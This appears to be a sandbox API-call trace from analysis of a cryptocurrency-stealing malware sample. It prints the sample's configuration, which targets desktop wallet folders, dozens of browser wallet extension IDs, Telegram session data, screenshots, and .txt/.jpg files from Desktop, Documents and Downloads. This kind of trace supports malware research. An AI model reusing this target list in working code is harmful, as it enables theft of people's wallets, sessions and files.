(lpString="binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4231 [0266.220] LocalAlloc (uFlags=0x40, uBytes=0x218e) returned 0x6fc408 [0266.220] StrCpyW (in: psz1=0x6f9ac0, psz2="-" | out: psz1="-") returned="-" [0266.221] LocalFree (hMem=0x6fc408) returned 0x0 [0266.221] StrToIntW (lpSrc="26") returned 26 [0266.221] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.221] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.221] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Binance" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Binance") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Binance" [0266.221] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.221] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bfad8 [0266.221] StrCpyW (in: psz1=0x6bfad8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Binance" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Binance") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Binance" [0266.221] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Binance\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\binance\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e21c0, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\Binance", cAlternateFileName="kk")) returned 0xffffffff [0266.222] LocalFree (hMem=0x6fc408) returned 0x0 [0266.222] LocalFree (hMem=0x6bf278) returned 0x0 [0266.223] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.223] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.224] LocalFree (hMem=0x6f4830) returned 0x0 [0266.225] LocalFree (hMem=0x6f7178) returned 0x0 [0266.226] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.226] StrStrW (lpFirst="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.226] StrStrW (lpFirst="coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.226] StrStrW (lpFirst="Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension 